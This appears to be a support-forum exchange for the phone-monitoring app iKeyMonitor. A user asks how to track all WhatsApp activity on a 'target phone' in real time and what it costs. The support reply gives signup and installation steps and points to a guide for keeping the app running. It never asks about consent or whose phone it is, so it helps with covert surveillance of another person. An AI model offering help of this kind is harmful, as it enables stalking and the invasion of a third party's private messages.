Can I track all what's app activities of target phone from my phone?

Can I track all what’s app activities of target phone from my phone in real time? How much is monthly fee to track only what’s app?
Thanks

hi
Please follow the guide to install it.

  1. Go to https://ikeymonitor.com and sign up for free
  2. Download and install the app
  3. Configure it according to the wizard.
    Find a guide for your phone to keep the app running:
    Brand - iKeyMonitor Documentation

Regards
Support Team